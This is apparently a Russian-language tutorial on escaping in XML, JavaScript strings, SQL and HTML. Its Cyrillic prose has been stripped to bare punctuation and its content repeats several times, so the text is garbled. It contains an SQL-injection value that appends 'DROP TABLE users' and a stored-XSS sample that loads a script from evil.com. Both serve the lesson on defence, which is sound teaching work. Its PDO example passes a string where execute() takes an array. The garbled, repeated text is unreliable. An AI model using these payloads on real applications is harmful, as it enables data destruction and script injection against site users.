 <div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> <script src="http://evil.com/dangerous.js" type="text/javascript" charset="utf-8"></script> </p> </div> 
 , ,   ? -   javascript    ? ,        ,         ,      .     . 
 
     
   ,   -      ,    ,      !  ,   ""           ,  ,     .   ? 
 
 ?  , ? ,  , ""?    ,  ! 
            ,   .        - : 
 $name = $_POST['name']; $name = mysql_real_escape_string($name); $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query); 
    ,       ""   .       SQL-,     : 
 Alex 
 SELECT phone_number FROM users WHERE name = 'Alex' 
 Mc'Donalds 
 SELECT phone_number FROM users WHERE name = 'Mc\'Donalds' 
 Joe'; DROP TABLE users; -- 
 SELECT phone_number FROM users WHERE name = 'Joe\'; DROP TABLE users; --' 
 mysql_real_escape_string       ,     -  . 
 
 ,     : 
 <div class="post"> <p class="meta"> Posted by <?php echo htmlspecialchars($post['username']); ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo htmlspecialchars($post['body']); ?> </p> </div> 
    htmlspecialchars    , ,   .     : 
 <div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> &lt;script src=&quot;http://evil.com/dangerous.js&quot; type=&quot;text/javascript&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt; </p> </div> 
  ,  ,   ,     "".      HTML        . 
 
    ... 
    ,    :       ,  ,       .     SQL,       SQL.     HTML,       HTML.     ( ),       ( ).   . 
 
    
 , ,      ,        : 
 Validation 
   ,       .     ,     ,         .     ,      "DROP TABLE users" , , ,   "42".    ,   HTML/SQL-, ..      ,    "".        . Sanitization 
     ""   ,   . ,   -   HTML-,      .   ,        . 
 Prepared SQL statements 
   ,  ,    :       SQL-  ,  .      : 
 $stmt = $pdo->prepare('SELECT phone_number FROM users WHERE name = ?'); $stmt->execute($_POST['name']); 
       ,     .       ,     . 
 
 
   ,        .       (),   ,     .    (  )   .     ""  - ,     . ,  ,      ,     SQL- (    HTML).

? , - ? XML - . . . , - , i .
, - .
<?xml version="1.0" encoding="UTF-8" ?> <article> <author>Homo Sapiens</author> <contents> Basic math tells us that if x &lt; n and y &gt; n, x cannot be larger than y. </contents> </article>
, . "&lt;" "<", "&gt;" - ">".
- , , , .
escape |iˈskāp| [ no obj. ] [ with obj. ] / [...] [ with obj. ] IT: - [...]
, , , , . , , : " , ?" .
, (&) - . , "&lt;", "<"? XML, escape- &, - " &amp; ", .. : " &amp;&lt; "


XML - "" . , :
var name = "Homo Sapiens"; var contents = "Suppose, there is the English text, which I don't wanna translate into Russian";
- " " . :
var name = "Homo Sapiens"; var contents = "Basic math tells us that if x < n and y > n, x cannot be larger than y.";
! ! , , , -?
var name = "Homo Sapiens"; var contents = "Plato is said to once have said "Lorem ipsum dolor sit amet".";
... , . , . . - , " ", . :
var name = "Homo Sapiens"; var contents = "Plato is said to once have said \"Lorem ipsum dolor sit amet\".";
"\" . , -, , "\" - . , , : "\\". , ?

!
, . , . , , "". , , . , , , , HTML, , , , HTML, , , "" HTML .

- SQL . SQL - , :
SELECT phone_number FROM users WHERE name = 'Alex'
, . , SQL . , :
$query = "SELECT phone_number FROM users WHERE name = 'Alex'"; $result = mysql_query($query);
, . "", , , , . , - .

, , -, . , :
$name = $_POST['name']; $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query);
, : - -! , - ! ! , - , ! !

, . $_POST['name'] - , -. SQL-, , . SQL "" .

, ? , - :

Alex
SELECT phone_number FROM users WHERE name = 'Alex'
Mc'Donalds
SELECT phone_number FROM users WHERE name = 'Mc'Donalds'
Joe'; DROP TABLE users; --
SELECT phone_number FROM users WHERE name = 'Joe'; DROP TABLE users; --'
, , ? 2, , "" - '. ! 4 - . ? ...
, ... , . , - : Joe, users ( '), .

. , , , , , 10 . SQL-, . , , , , , .. , - "" .

!
: XSS . , HTML.
, , , -, . , , .. - - :
<div class="post"> <p class="meta"> Posted by <?php echo $post['username']; ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo $post['body']; ?> </p> </div>
, , :
<div class="post"> <p class="meta"> Posted by Plato on January 2, 15:31 </p> <p class="body"> I am said to have said "Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat." </p> </div>
, , , , :
<div class="post"> <p class="meta"> Posted by Pascal on November 23, 04:12 </p> <p class="body"> Basic math tells us that if x < n and y > n, x cannot be larger than y. </p> </div>
... . , , , ?

<div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> <script src="http://evil.com/dangerous.js" type="text/javascript" charset="utf-8"></script> </p> </div>
, , ? - javascript ? , , , . .


, - , , ! , "" , , . ?

? , ? , , ""? , !
, . - :
$name = $_POST['name']; $name = mysql_real_escape_string($name); $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query);
, "" . SQL-, :
Alex
SELECT phone_number FROM users WHERE name = 'Alex'
Mc'Donalds
SELECT phone_number FROM users WHERE name = 'Mc\'Donalds'
Joe'; DROP TABLE users; --
SELECT phone_number FROM users WHERE name = 'Joe\'; DROP TABLE users; --'
mysql_real_escape_string , - .

, :
<div class="post"> <p class="meta"> Posted by <?php echo htmlspecialchars($post['username']); ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo htmlspecialchars($post['body']); ?> </p> </div>
htmlspecialchars , , . :
<div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> &lt;script src=&quot;http://evil.com/dangerous.js&quot; type=&quot;text/javascript&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt; </p> </div>
, , , "". HTML .

...
, : , , . SQL, SQL. HTML, HTML. ( ), ( ). .


, , , :
Validation
, . , , . , "DROP TABLE users" , , , "42". , HTML/SQL-, .. , "". . Sanitization
"" , . , - HTML-, . , .
Prepared SQL statements
, , : SQL- , . :
$stmt = $pdo->prepare('SELECT phone_number FROM users WHERE name = ?'); $stmt->execute($_POST['name']);
, . , .


, . (), , . ( ) . "" - , . , , , SQL- ( HTML).

 ?   ,    -  ?  XML -  .   .  .       ,  -      ,         i    . 
    ,    - . 
 <?xml version="1.0" encoding="UTF-8" ?> <article> <author>Homo Sapiens</author> <contents> Basic math tells us that if x &lt; n and y &gt; n, x cannot be larger than y. </contents> </article> 
 ,     . "&lt;"  "<",  "&gt;" - ">". 
    -  ,    ,   ,      . 
 escape |iˈskāp| [ no obj. ]    [ with obj. ]   /   [...] [ with obj. ] IT:    - [...] 
           ,    , ,   ,          . ,  ,    : "    ,        ?" . 
       ,  (&) -    .   ,     "&lt;",      "<"?  XML, escape-  &,  - " &amp; ", ..   : " &amp;&lt; " 
 
   
 XML -    ""   .   ,       : 
 var name = "Homo Sapiens"; var contents = "Suppose, there is the English text, which I don't wanna translate into Russian"; 
   -      " "  .            : 
 var name = "Homo Sapiens"; var contents = "Basic math tells us that if x < n and y > n, x cannot be larger than y."; 
 !       ! , ,  ,     -? 
 var name = "Homo Sapiens"; var contents = "Plato is said to once have said "Lorem ipsum dolor sit amet"."; 
 ... , .  ,            .        .    -  ,       "  ",    .      : 
 var name = "Homo Sapiens"; var contents = "Plato is said to once have said \"Lorem ipsum dolor sit amet\"."; 
 "\"      .  , -, ,  "\" -  .       ,       , : "\\". ,   ? 
 
 ! 
      ,        .  ,     .  ,        ,     "".  ,    ,   . ,   , ,  ,        HTML,     , ,  ,     HTML,  ,  ,  "" HTML    . 
 
         - SQL . SQL - ,       : 
 SELECT phone_number FROM users WHERE name = 'Alex' 
        ,    .   ,      SQL   .              , : 
 $query = "SELECT phone_number FROM users WHERE name = 'Alex'"; $result = mysql_query($query); 
               ,   .  "", ,    ,      ,  . ,       - . 
 
  ,    ,    -,      .   ,     : 
 $name = $_POST['name']; $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query); 
  ,      :  - -!  ,   -  !   !  ,     - ,     !      ! 
 
    ,   . $_POST['name'] - ,             -.    SQL-,       ,       .   SQL ""    . 
 
       , ?      ,       -      : 
 
 Alex 
 SELECT phone_number FROM users WHERE name = 'Alex' 
 Mc'Donalds 
 SELECT phone_number FROM users WHERE name = 'Mc'Donalds' 
 Joe'; DROP TABLE users; -- 
 SELECT phone_number FROM users WHERE name = 'Joe'; DROP TABLE users; --' 
     ,    , ?  2, , ""    -  '.  !  4 - .    ?     ... 
    ,  ...         ,     . ,    -   :      Joe,     users (   '),     . 
 
       .   , , ,     ,      ,   10    .     SQL-,    .  ,   ,   ,       ,    ,       ..   ,    - ""  . 
 
 ! 
  : XSS .   ,    HTML. 
 ,     ,    ,         -,   .  ,    ,    .. -     - : 
 <div class="post"> <p class="meta"> Posted by <?php echo $post['username']; ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo $post['body']; ?> </p> </div> 
       ,       ,       : 
 <div class="post"> <p class="meta"> Posted by Plato on January 2, 15:31 </p> <p class="body"> I am said to have said "Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat." </p> </div> 
    ,  , ,    ,    : 
 <div class="post"> <p class="meta"> Posted by Pascal on November 23, 04:12 </p> <p class="body"> Basic math tells us that if x < n and y > n, x cannot be larger than y. </p> </div> 
 ...     . ,        ,     , ? 
 
 <div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> <script src="http://evil.com/dangerous.js" type="text/javascript" charset="utf-8"></script> </p> </div> 
 , ,   ? -   javascript    ? ,        ,         ,      .     . 
 
     
   ,   -      ,    ,      !  ,   ""           ,  ,     .   ? 
 
 ?  , ? ,  , ""?    ,  ! 
            ,   .        - : 
 $name = $_POST['name']; $name = mysql_real_escape_string($name); $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query); 
    ,       ""   .       SQL-,     : 
 Alex 
 SELECT phone_number FROM users WHERE name = 'Alex' 
 Mc'Donalds 
 SELECT phone_number FROM users WHERE name = 'Mc\'Donalds' 
 Joe'; DROP TABLE users; -- 
 SELECT phone_number FROM users WHERE name = 'Joe\'; DROP TABLE users; --' 
 mysql_real_escape_string       ,     -  . 
 
 ,     : 
 <div class="post"> <p class="meta"> Posted by <?php echo htmlspecialchars($post['username']); ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo htmlspecialchars($post['body']); ?> </p> </div> 
    htmlspecialchars    , ,   .     : 
 <div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> &lt;script src=&quot;http://evil.com/dangerous.js&quot; type=&quot;text/javascript&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt; </p> </div> 
  ,  ,   ,     "".      HTML        . 
 
    ... 
    ,    :       ,  ,       .     SQL,       SQL.     HTML,       HTML.     ( ),       ( ).   . 
 
    
 , ,      ,        : 
 Validation 
   ,       .     ,     ,         .     ,      "DROP TABLE users" , , ,   "42".    ,   HTML/SQL-, ..      ,    "".        . Sanitization 
     ""   ,   . ,   -   HTML-,      .   ,        . 
 Prepared SQL statements 
   ,  ,    :       SQL-  ,  .      : 
 $stmt = $pdo->prepare('SELECT phone_number FROM users WHERE name = ?'); $stmt->execute($_POST['name']); 
       ,     .       ,     . 
 
 
   ,        .       (),   ,     .    (  )   .     ""  - ,     . ,  ,      ,     SQL- (    HTML).

? , - ? XML - . . . , - , i .
, - .
<?xml version="1.0" encoding="UTF-8" ?> <article> <author>Homo Sapiens</author> <contents> Basic math tells us that if x &lt; n and y &gt; n, x cannot be larger than y. </contents> </article>
, . "&lt;" "<", "&gt;" - ">".
- , , , .
escape |iˈskāp| [ no obj. ] [ with obj. ] / [...] [ with obj. ] IT: - [...]
, , , , . , , : " , ?" .
, (&) - . , "&lt;", "<"? XML, escape- &, - " &amp; ", .. : " &amp;&lt; "


XML - "" . , :
var name = "Homo Sapiens"; var contents = "Suppose, there is the English text, which I don't wanna translate into Russian";
- " " . :
var name = "Homo Sapiens"; var contents = "Basic math tells us that if x < n and y > n, x cannot be larger than y.";
! ! , , , -?
var name = "Homo Sapiens"; var contents = "Plato is said to once have said "Lorem ipsum dolor sit amet".";
... , . , . . - , " ", . :
var name = "Homo Sapiens"; var contents = "Plato is said to once have said \"Lorem ipsum dolor sit amet\".";
"\" . , -, , "\" - . , , : "\\". , ?

!
, . , . , , "". , , . , , , , HTML, , , , HTML, , , "" HTML .

- SQL . SQL - , :
SELECT phone_number FROM users WHERE name = 'Alex'
, . , SQL . , :
$query = "SELECT phone_number FROM users WHERE name = 'Alex'"; $result = mysql_query($query);
, . "", , , , . , - .

, , -, . , :
$name = $_POST['name']; $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query);
, : - -! , - ! ! , - , ! !

, . $_POST['name'] - , -. SQL-, , . SQL "" .

, ? , - :

Alex
SELECT phone_number FROM users WHERE name = 'Alex'
Mc'Donalds
SELECT phone_number FROM users WHERE name = 'Mc'Donalds'
Joe'; DROP TABLE users; --
SELECT phone_number FROM users WHERE name = 'Joe'; DROP TABLE users; --'
, , ? 2, , "" - '. ! 4 - . ? ...
, ... , . , - : Joe, users ( '), .

. , , , , , 10 . SQL-, . , , , , , .. , - "" .

!
: XSS . , HTML.
, , , -, . , , .. - - :
<div class="post"> <p class="meta"> Posted by <?php echo $post['username']; ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo $post['body']; ?> </p> </div>
, , :
<div class="post"> <p class="meta"> Posted by Plato on January 2, 15:31 </p> <p class="body"> I am said to have said "Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat." </p> </div>
, , , , :
<div class="post"> <p class="meta"> Posted by Pascal on November 23, 04:12 </p> <p class="body"> Basic math tells us that if x < n and y > n, x cannot be larger than y. </p> </div>
... . , , , ?

<div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> <script src="http://evil.com/dangerous.js" type="text/javascript" charset="utf-8"></script> </p> </div>
, , ? - javascript ? , , , . .


, - , , ! , "" , , . ?

? , ? , , ""? , !
, . - :
$name = $_POST['name']; $name = mysql_real_escape_string($name); $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query);
, "" . SQL-, :
Alex
SELECT phone_number FROM users WHERE name = 'Alex'
Mc'Donalds
SELECT phone_number FROM users WHERE name = 'Mc\'Donalds'
Joe'; DROP TABLE users; --
SELECT phone_number FROM users WHERE name = 'Joe\'; DROP TABLE users; --'
mysql_real_escape_string , - .

, :
<div class="post"> <p class="meta"> Posted by <?php echo htmlspecialchars($post['username']); ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo htmlspecialchars($post['body']); ?> </p> </div>
htmlspecialchars , , . :
<div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> &lt;script src=&quot;http://evil.com/dangerous.js&quot; type=&quot;text/javascript&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt; </p> </div>
, , , "". HTML .

...
, : , , . SQL, SQL. HTML, HTML. ( ), ( ). .


, , , :
Validation
, . , , . , "DROP TABLE users" , , , "42". , HTML/SQL-, .. , "". . Sanitization
"" , . , - HTML-, . , .
Prepared SQL statements
, , : SQL- , . :
$stmt = $pdo->prepare('SELECT phone_number FROM users WHERE name = ?'); $stmt->execute($_POST['name']);
, . , .


, . (), , . ( ) . "" - , . , , , SQL- ( HTML).

? , - ? XML - . . . , - , i . , - . <?xml version="1.0" encoding="UTF-8" ?> <article> <author>Homo Sapiens</author> <contents> Basic math tells us that if x < n and y > n, x cannot be larger than y. </contents> </article> , . "<" "<", ">" - ">". - , , , . escape |iˈskāp| [ no obj. ] [ with obj. ] / [...] [ with obj. ] IT: - [...] , , , , . , , : " , ?" . , (&) - . , "<", "<"? XML, escape- &, - " & ", .. : " &< " XML - "" . , : var name = "Homo Sapiens"; var contents = "Suppose, there is the English text, which I don't wanna translate into Russian"; - " " . : var name = "Homo Sapiens"; var contents = "Basic math tells us that if x < n and y > n, x cannot be larger than y."; ! ! , , , -? var name = "Homo Sapiens"; var contents = "Plato is said to once have said "Lorem ipsum dolor sit amet"."; ... , . , . . - , " ", . : var name = "Homo Sapiens"; var contents = "Plato is said to once have said \"Lorem ipsum dolor sit amet\"."; "\" . , -, , "\" - . , , : "\\". , ? ! , . , . , , "". , , . , , , , HTML, , , , HTML, , , "" HTML . - SQL . SQL - , : SELECT phone_number FROM users WHERE name = 'Alex' , . , SQL . , : $query = "SELECT phone_number FROM users WHERE name = 'Alex'"; $result = mysql_query($query); , . "", , , , . , - . , , -, . , : $name = $_POST['name']; $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query); , : - -! , - ! ! , - , ! ! , . $_POST['name'] - , -. SQL-, , . SQL "" . , ? , - : Alex SELECT phone_number FROM users WHERE name = 'Alex' Mc'Donalds SELECT phone_number FROM users WHERE name = 'Mc'Donalds' Joe'; DROP TABLE users; -- SELECT phone_number FROM users WHERE name = 'Joe'; DROP TABLE users; --' , , ? 2, , "" - '. ! 4 - . ? ... , ... , . , - : Joe, users ( '), . . , , , , , 10 . SQL-, . , , , , , .. , - "" . ! : XSS . , HTML. , , , -, . , , .. - - : <div class="post"> <p class="meta"> Posted by <?php echo $post['username']; ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo $post['body']; ?> </p> </div> , , : <div class="post"> <p class="meta"> Posted by Plato on January 2, 15:31 </p> <p class="body"> I am said to have said "Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat." </p> </div> , , , , : <div class="post"> <p class="meta"> Posted by Pascal on November 23, 04:12 </p> <p class="body"> Basic math tells us that if x < n and y > n, x cannot be larger than y. </p> </div> ... . , , , ? <div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> <script src="http://evil.com/dangerous.js" type="text/javascript" charset="utf-8"></script> </p> </div> , , ? - javascript ? , , , . . , - , , ! , "" , , . ? ? , ? , , ""? , ! , . - : $name = $_POST['name']; $name = mysql_real_escape_string($name); $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query); , "" . SQL-, : Alex SELECT phone_number FROM users WHERE name = 'Alex' Mc'Donalds SELECT phone_number FROM users WHERE name = 'Mc\'Donalds' Joe'; DROP TABLE users; -- SELECT phone_number FROM users WHERE name = 'Joe\'; DROP TABLE users; --' mysql_real_escape_string , - . , : <div class="post"> <p class="meta"> Posted by <?php echo htmlspecialchars($post['username']); ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo htmlspecialchars($post['body']); ?> </p> </div> htmlspecialchars , , . : <div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> <script src="http://evil.com/dangerous.js" type="text/javascript" charset="utf-8"></script> </p> </div> , , , "". HTML . ... , : , , . SQL, SQL. HTML, HTML. ( ), ( ). . , , , : Validation , . , , . , "DROP TABLE users" , , , "42". , HTML/SQL-, .. , "". . Sanitization "" , . , - HTML-, . , . Prepared SQL statements , , : SQL- , . : $stmt = $pdo->prepare('SELECT phone_number FROM users WHERE name = ?'); $stmt->execute($_POST['name']); , . , . , . (), , . ( ) . "" - , . , , , SQL- ( HTML).

? , - ? XML - . . . , - , i .
, - .
<?xml version="1.0" encoding="UTF-8" ?> <article> <author>Homo Sapiens</author> <contents> Basic math tells us that if x &lt; n and y &gt; n, x cannot be larger than y. </contents> </article>
, . "&lt;" "<", "&gt;" - ">".
- , , , .
escape |iˈskāp| [ no obj. ] [ with obj. ] / [...] [ with obj. ] IT: - [...]
, , , , . , , : " , ?" .
, (&) - . , "&lt;", "<"? XML, escape- &, - " &amp; ", .. : " &amp;&lt; "


XML - "" . , :
var name = "Homo Sapiens"; var contents = "Suppose, there is the English text, which I don't wanna translate into Russian";
- " " . :
var name = "Homo Sapiens"; var contents = "Basic math tells us that if x < n and y > n, x cannot be larger than y.";
! ! , , , -?
var name = "Homo Sapiens"; var contents = "Plato is said to once have said "Lorem ipsum dolor sit amet".";
... , . , . . - , " ", . :
var name = "Homo Sapiens"; var contents = "Plato is said to once have said \"Lorem ipsum dolor sit amet\".";
"\" . , -, , "\" - . , , : "\\". , ?

!
, . , . , , "". , , . , , , , HTML, , , , HTML, , , "" HTML .

- SQL . SQL - , :
SELECT phone_number FROM users WHERE name = 'Alex'
, . , SQL . , :
$query = "SELECT phone_number FROM users WHERE name = 'Alex'"; $result = mysql_query($query);
, . "", , , , . , - .

, , -, . , :
$name = $_POST['name']; $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query);
, : - -! , - ! ! , - , ! !

, . $_POST['name'] - , -. SQL-, , . SQL "" .

, ? , - :

Alex
SELECT phone_number FROM users WHERE name = 'Alex'
Mc'Donalds
SELECT phone_number FROM users WHERE name = 'Mc'Donalds'
Joe'; DROP TABLE users; --
SELECT phone_number FROM users WHERE name = 'Joe'; DROP TABLE users; --'
, , ? 2, , "" - '. ! 4 - . ? ...
, ... , . , - : Joe, users ( '), .

. , , , , , 10 . SQL-, . , , , , , .. , - "" .

!
: XSS . , HTML.
, , , -, . , , .. - - :
<div class="post"> <p class="meta"> Posted by <?php echo $post['username']; ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo $post['body']; ?> </p> </div>
, , :
<div class="post"> <p class="meta"> Posted by Plato on January 2, 15:31 </p> <p class="body"> I am said to have said "Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat." </p> </div>
, , , , :
<div class="post"> <p class="meta"> Posted by Pascal on November 23, 04:12 </p> <p class="body"> Basic math tells us that if x < n and y > n, x cannot be larger than y. </p> </div>
... . , , , ?

<div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> <script src="http://evil.com/dangerous.js" type="text/javascript" charset="utf-8"></script> </p> </div>
, , ? - javascript ? , , , . .


, - , , ! , "" , , . ?

? , ? , , ""? , !
, . - :
$name = $_POST['name']; $name = mysql_real_escape_string($name); $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query);
, "" . SQL-, :
Alex
SELECT phone_number FROM users WHERE name = 'Alex'
Mc'Donalds
SELECT phone_number FROM users WHERE name = 'Mc\'Donalds'
Joe'; DROP TABLE users; --
SELECT phone_number FROM users WHERE name = 'Joe\'; DROP TABLE users; --'
mysql_real_escape_string , - .

, :
<div class="post"> <p class="meta"> Posted by <?php echo htmlspecialchars($post['username']); ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo htmlspecialchars($post['body']); ?> </p> </div>
htmlspecialchars , , . :
<div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> &lt;script src=&quot;http://evil.com/dangerous.js&quot; type=&quot;text/javascript&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt; </p> </div>
, , , "". HTML .

...
, : , , . SQL, SQL. HTML, HTML. ( ), ( ). .


, , , :
Validation
, . , , . , "DROP TABLE users" , , , "42". , HTML/SQL-, .. , "". . Sanitization
"" , . , - HTML-, . , .
Prepared SQL statements
, , : SQL- , . :
$stmt = $pdo->prepare('SELECT phone_number FROM users WHERE name = ?'); $stmt->execute($_POST['name']);
, . , .


, . (), , . ( ) . "" - , . , , , SQL- ( HTML).

 ?   ,    -  ?  XML -  .   .  .       ,  -      ,         i    . 
    ,    - . 
 <?xml version="1.0" encoding="UTF-8" ?> <article> <author>Homo Sapiens</author> <contents> Basic math tells us that if x &lt; n and y &gt; n, x cannot be larger than y. </contents> </article> 
 ,     . "&lt;"  "<",  "&gt;" - ">". 
    -  ,    ,   ,      . 
 escape |iˈskāp| [ no obj. ]    [ with obj. ]   /   [...] [ with obj. ] IT:    - [...] 
           ,    , ,   ,          . ,  ,    : "    ,        ?" . 
       ,  (&) -    .   ,     "&lt;",      "<"?  XML, escape-  &,  - " &amp; ", ..   : " &amp;&lt; " 
 
   
 XML -    ""   .   ,       : 
 var name = "Homo Sapiens"; var contents = "Suppose, there is the English text, which I don't wanna translate into Russian"; 
   -      " "  .            : 
 var name = "Homo Sapiens"; var contents = "Basic math tells us that if x < n and y > n, x cannot be larger than y."; 
 !       ! , ,  ,     -? 
 var name = "Homo Sapiens"; var contents = "Plato is said to once have said "Lorem ipsum dolor sit amet"."; 
 ... , .  ,            .        .    -  ,       "  ",    .      : 
 var name = "Homo Sapiens"; var contents = "Plato is said to once have said \"Lorem ipsum dolor sit amet\"."; 
 "\"      .  , -, ,  "\" -  .       ,       , : "\\". ,   ? 
 
 ! 
      ,        .  ,     .  ,        ,     "".  ,    ,   . ,   , ,  ,        HTML,     , ,  ,     HTML,  ,  ,  "" HTML    . 
 
         - SQL . SQL - ,       : 
 SELECT phone_number FROM users WHERE name = 'Alex' 
        ,    .   ,      SQL   .              , : 
 $query = "SELECT phone_number FROM users WHERE name = 'Alex'"; $result = mysql_query($query); 
               ,   .  "", ,    ,      ,  . ,       - . 
 
  ,    ,    -,      .   ,     : 
 $name = $_POST['name']; $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query); 
  ,      :  - -!  ,   -  !   !  ,     - ,     !      ! 
 
    ,   . $_POST['name'] - ,             -.    SQL-,       ,       .   SQL ""    . 
 
       , ?      ,       -      : 
 
 Alex 
 SELECT phone_number FROM users WHERE name = 'Alex' 
 Mc'Donalds 
 SELECT phone_number FROM users WHERE name = 'Mc'Donalds' 
 Joe'; DROP TABLE users; -- 
 SELECT phone_number FROM users WHERE name = 'Joe'; DROP TABLE users; --' 
     ,    , ?  2, , ""    -  '.  !  4 - .    ?     ... 
    ,  ...         ,     . ,    -   :      Joe,     users (   '),     . 
 
       .   , , ,     ,      ,   10    .     SQL-,    .  ,   ,   ,       ,    ,       ..   ,    - ""  . 
 
 ! 
  : XSS .   ,    HTML. 
 ,     ,    ,         -,   .  ,    ,    .. -     - : 
 <div class="post"> <p class="meta"> Posted by <?php echo $post['username']; ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo $post['body']; ?> </p> </div> 
       ,       ,       : 
 <div class="post"> <p class="meta"> Posted by Plato on January 2, 15:31 </p> <p class="body"> I am said to have said "Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat." </p> </div> 
    ,  , ,    ,    : 
 <div class="post"> <p class="meta"> Posted by Pascal on November 23, 04:12 </p> <p class="body"> Basic math tells us that if x < n and y > n, x cannot be larger than y. </p> </div> 
 ...     . ,        ,     , ? 
 
 <div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> <script src="http://evil.com/dangerous.js" type="text/javascript" charset="utf-8"></script> </p> </div> 
 , ,   ? -   javascript    ? ,        ,         ,      .     . 
 
     
   ,   -      ,    ,      !  ,   ""           ,  ,     .   ? 
 
 ?  , ? ,  , ""?    ,  ! 
            ,   .        - : 
 $name = $_POST['name']; $name = mysql_real_escape_string($name); $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query); 
    ,       ""   .       SQL-,     : 
 Alex 
 SELECT phone_number FROM users WHERE name = 'Alex' 
 Mc'Donalds 
 SELECT phone_number FROM users WHERE name = 'Mc\'Donalds' 
 Joe'; DROP TABLE users; -- 
 SELECT phone_number FROM users WHERE name = 'Joe\'; DROP TABLE users; --' 
 mysql_real_escape_string       ,     -  . 
 
 ,     : 
 <div class="post"> <p class="meta"> Posted by <?php echo htmlspecialchars($post['username']); ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo htmlspecialchars($post['body']); ?> </p> </div> 
    htmlspecialchars    , ,   .     : 
 <div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> &lt;script src=&quot;http://evil.com/dangerous.js&quot; type=&quot;text/javascript&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt; </p> </div> 
  ,  ,   ,     "".      HTML        . 
 
    ... 
    ,    :       ,  ,       .     SQL,       SQL.     HTML,       HTML.     ( ),       ( ).   . 
 
    
 , ,      ,        : 
 Validation 
   ,       .     ,     ,         .     ,      "DROP TABLE users" , , ,   "42".    ,   HTML/SQL-, ..      ,    "".        . Sanitization 
     ""   ,   . ,   -   HTML-,      .   ,        . 
 Prepared SQL statements 
   ,  ,    :       SQL-  ,  .      : 
 $stmt = $pdo->prepare('SELECT phone_number FROM users WHERE name = ?'); $stmt->execute($_POST['name']); 
       ,     .       ,     . 
 
 
   ,        .       (),   ,     .    (  )   .     ""  - ,     . ,  ,      ,     SQL- (    HTML).

? , - ? XML - . . . , - , i .
, - .
<?xml version="1.0" encoding="UTF-8" ?> <article> <author>Homo Sapiens</author> <contents> Basic math tells us that if x &lt; n and y &gt; n, x cannot be larger than y. </contents> </article>
, . "&lt;" "<", "&gt;" - ">".
- , , , .
escape |iˈskāp| [ no obj. ] [ with obj. ] / [...] [ with obj. ] IT: - [...]
